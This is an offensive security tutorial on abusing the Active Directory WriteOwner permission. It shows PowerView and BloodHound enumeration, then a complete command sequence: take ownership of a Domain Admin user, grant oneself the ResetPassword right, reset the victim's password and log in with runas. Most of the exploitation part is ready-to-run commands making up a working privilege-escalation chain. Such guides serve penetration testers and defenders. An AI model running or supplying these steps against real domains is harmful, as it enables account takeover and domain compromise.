WriteOwner On User

WriteOwner

WriteOwner : Is a permission that allows you to change ownership of an object. If you have WriteOwner on user object, you can make yourself the owner of that user, and if you have ownership on user object, you can give yourself a right i.e Resetpassword that will allow you to reset user’s password, thereby escalating your privileges.

Enumeration

PowerView

WriteOwner Enumeration

Get your current user’s sid by executing whoami /user, import powerview, then execute the below command to get the list of objects on which you have WriteOwner right.

Command

get-objectacl -resolveguids | ? {($_.securityidentifier -eq "[your_current_user_sid]") -and ($_.activedirectoryrights -like "*WriteOwner*")}

below image shows the current user usman has WriteOwner right on user object ali

User Enumeration

Execute the below command to get more information about the target user.

Command

get-netuser [target_user]

below image shows the target user ali is a member of Domain Admins

BloodHound

You can also get thesame result using bloodhound.

below image shows the current user usman has WriteOwner right on user object ali who is a member of Domain Admins

Exploitation

PowerView

Change Ownership Of User

Execute the below command to give yourself ownership on the target user ali.

Command

set-domainobjectowner -Identity [target_user] -OwnerIdentity [Your Current User]

You can verify it using bloodhound

below image shows user usman is owner of user ali

You can verify it from server manager

below image shows user usman is owner of user ali

Give Resetpassword Right

Since you are the owner of the user ali, you can execute the below command to give yourself Resetpassword right on the user.

Command

add-domainobjectacl -TargetIdentity [target_user] -PrincipalIdentity [Your Current User] -Rights Resetpassword

You can verify it using the below command.

Command

get-objectacl -resolveguids | ? {$_.securityidentifier -eq "[your_current_user_sid]"}

Reset Password

With resetpassword right given, you can reset his password and login to his account by executing the below command

Command

$pass = ConvertTo-SecureString '[Your New Password Here]' -AsPlainText -Force
set-domainuserpassword -identity [target_user] -accountpassword $pass 
runas /user:[domain\user] cmd.exe

References

• https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
• https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse